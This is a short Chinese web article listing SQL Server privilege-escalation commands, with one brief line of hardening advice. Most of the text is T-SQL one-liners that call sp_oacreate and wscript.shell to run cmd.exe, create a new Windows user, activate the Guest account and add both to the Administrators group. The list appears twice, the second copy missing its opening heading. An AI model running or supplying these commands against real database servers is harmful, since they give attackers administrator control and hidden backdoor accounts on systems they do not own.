SQL 提權 常用命令
更新時間:2009年07月24日 00:29:34 作者:
SQL 提權 常用命令,大家可以考慮下將sqlserver的服務運行權限設置為普通用戶,即可防止下面的提權。
1、連接數據庫
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數據庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關于防范方法,可以參考腳本之家服務器安全設置欄目。
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數據庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關于防范方法,可以參考腳本之家服務器安全設置欄目。
相關文章
CentOS 7.3上SQL Server vNext CTP 1.2安裝教程
這篇文章主要為大家詳細介紹了CentOS 7.3上SQL Server vNext CTP 1.2安裝教程,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-01-01
GreatSQL 在SQL中如何使用 HINT 語法修改會話變量
GreatSQL推出新的優(yōu)化Hint功能,名為SET_VAR,允許用戶在查詢語句中修改數據庫的會話變量,但只對當前查詢會話生效,不影響其他會話,本文給大家介紹GreatSQL 在SQL中如何使用 HINT 語法修改會話變量,感興趣的朋友一起看看吧2024-10-10

